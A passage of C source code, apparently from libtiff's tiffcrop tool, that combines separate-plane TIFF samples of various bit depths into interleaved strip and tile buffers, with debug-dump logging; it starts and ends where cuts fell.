cols) + 7) / 8; dst_rowsize = ((bps * spp * cols) + 7) / 8; for (row = 0; row < rows; row++) { if ((dumpfile != NULL) && (level == 2)) { for (s = 0; s < spp; s++) { dump_info (dumpfile, format, "combineSeparateSamplesBytes","Input data, Sample %d", s); dump_buffer(dumpfile, format, 1, cols, row, srcbuffs[s] + (row * src_rowsize)); } } dst = out + (row * dst_rowsize); row_offset = row * src_rowsize; for (col = 0; col < cols; col++) { col_offset = row_offset + (col * (bps / 8)); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = srcbuffs[s] + col_offset; for (i = 0; i < bytes_per_sample; i++) *(dst + i) = *(src + i); src += bytes_per_sample; dst += bytes_per_sample; } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamplesBytes","Output data, combined samples"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamplesBytes */ static int combineSeparateSamples8bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; /* int bytes_per_sample = 0; */ uint32 src_rowsize, dst_rowsize, src_offset; uint32 bit_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples8bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint8)-1 >> ( 8 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (8 - src_bit - bps); /* load up next sample from each plane */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; strcpy (action, "Flush"); } else { buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Match bits", matchbits); dump_byte (dumpfile, format, "Src bits", *src); dump_byte (dumpfile, format, "Buff1 bits", buff1); dump_byte (dumpfile, format, "Buff2 bits", buff2); dump_info (dumpfile, format, "","%s", action); } } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", buff1); } } if ((dumpfile != NULL) && (level >= 2)) { dump_info (dumpfile, format, "combineSeparateSamples8bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples8bits */ static int combineSeparateSamples16bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0 */; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples16bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint16)-1 >> (16 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (16 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_short (dumpfile, format, "Match bits", matchbits); dump_data (dumpfile, format, "Src bits", src, 2); dump_short (dumpfile, format, "Buff1 bits", buff1); dump_short (dumpfile, format, "Buff2 bits", buff2); dump_byte (dumpfile, format, "Write byte", bytebuff); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", bytebuff); } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples16bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples16bits */ static int combineSeparateSamples24bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0 */; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples24bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint32)-1 >> ( 32 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (32 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples24bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples24bits */ static int combineSeparateSamples32bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0, shift_width = 0 */; uint32 src_rowsize, dst_rowsize, bit_offset, src_offset; uint32 src_byte = 0, src_bit = 0; uint32 row, col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples32bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint64)-1 >> ( 64 - bps); /* shift_width = ((bps + 7) / 8) + 1; */ for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (64 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Sample %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_wide (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 8); dump_wide (dumpfile, format, "Buff1 bits ", buff1); dump_wide (dumpfile, format, "Buff2 bits ", buff2); dump_info (dumpfile, format, "", "Ready bits: %d, %s", ready_bits, action); } } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples32bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out); } } return (0); } /* end combineSeparateSamples32bits */ static int combineSeparateTileSamplesBytes (unsigned char *srcbuffs[], unsigned char *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int i, bytes_per_sample; uint32 row, col, col_offset, src_rowsize, dst_rowsize, src_offset; unsigned char *src; unsigned char *dst; tsample_t s; src = srcbuffs[0]; dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamplesBytes","Invalid buffer address"); return (1); } bytes_per_sample = (bps + 7) / 8; src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = imagewidth * bytes_per_sample * spp; for (row = 0; row < rows; row++) { if ((dumpfile != NULL) && (level == 2)) { for (s = 0; s < spp; s++) { dump_info (dumpfile, format, "combineSeparateTileSamplesBytes","Input data, Sample %d", s); dump_buffer(dumpfile, format, 1, cols, row, srcbuffs[s] + (row * src_rowsize)); } } dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; #ifdef DEVELMODE TIFFError("","Tile row %4d, Src offset %6d Dst offset %6d", row, src_offset, dst - out); #endif for (col = 0; col < cols; col++) { col_offset = src_offset + (col * (bps / 8)); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = srcbuffs[s] + col_offset; for (i = 0; i < bytes_per_sample; i++) *(dst + i) = *(src + i); dst += bytes_per_sample; } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamplesBytes","Output data, combined samples"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamplesBytes */ static int combineSeparateTileSamples8bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize, src_offset; uint32 bit_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples8bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint8)-1 >> ( 8 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (8 - src_bit - bps); /* load up next sample from each plane */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; strcpy (action, "Flush"); } else { buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Match bits", matchbits); dump_byte (dumpfile, format, "Src bits", *src); dump_byte (dumpfile, format, "Buff1 bits", buff1); dump_byte (dumpfile, format, "Buff2 bits", buff2); dump_info (dumpfile, format, "","%s", action); } } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", buff1); } } if ((dumpfile != NULL) && (level >= 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples8bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples8bits */ static int combineSeparateTileSamples16bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples16bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint16)-1 >> (16 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (16 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_short (dumpfile, format, "Match bits", matchbits); dump_data (dumpfile, format, "Src bits", src, 2); dump_short (dumpfile, format, "Buff1 bits", buff1); dump_short (dumpfile, format, "Buff2 bits", buff2); dump_byte (dumpfile, format, "Write byte", bytebuff); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", bytebuff); } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples16bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples16bits */ static int combineSeparateTileSamples24bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples24bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint32)-1 >> ( 32 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (32 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples24bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples24bits */ static int combineSeparateTileSamples32bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, shift_width = 0 */; uint32 src_rowsize, dst_rowsize, bit_offset, src_offset; uint32 src_byte = 0, src_bit = 0; uint32 row, col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples32bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint64)-1 >> ( 64 - bps); /* shift_width = ((bps + 7) / 8) + 1; */ for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (64 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Sample %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_wide (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 8); dump_wide (dumpfile, format, "Buff1 bits ", buff1); dump_wide (dumpfile, format, "Buff2 bits ", buff2); dump_info (dumpfile, format, "", "Ready bits: %d, %s", ready_bits, action); } } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples32bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out); } } return (0); } /* end combineSeparateTileSamples32bits */ static int readSeparateStripsIntoBuffer (TIFF *in, uint8 *obuf, uint32 length, uint32 width, uint16 spp, struct dump_opts *dump) { int i, j, bytes_per_sample, bytes_per_pixel, shift_width, result = 1; int32 bytes_read = 0; uint16 bps, nstrips, planar, strips_per_sample; uint32 src_rowsize, dst_rowsize, rows_processed, rps; uint32 rows_this_strip = 0; tsample_t s; tstrip_t strip; tsize_t scanlinesize = TIFFScanlineSize(in); tsize_t stripsize = TIFFStripSize(in); unsigned char *srcbuffs[MAX_SAMPLES]; unsigned char *buff = NULL; unsigned char *dst = NULL; if (obuf == NULL) { TIFFError("readSeparateStripsIntoBuffer","Invalid buffer argument"); return (0); } memset (srcbuffs, '\0', sizeof(srcbuffs)); TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bps); TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &planar); TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps); if (rps > length) rps = length; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; src_rowsize = ((bps * width) + 7) / 8; dst_rowsize = ((bps * width * spp) + 7) / 8; dst = obuf; if ((dump->infile != NULL) && (dump->level == 3)) { dump_info (dump->infile, dump->format, "", "Image width %d, length %d, Scanline size, %4d bytes", width, length, scanlinesize); dump_info (dump->infile, 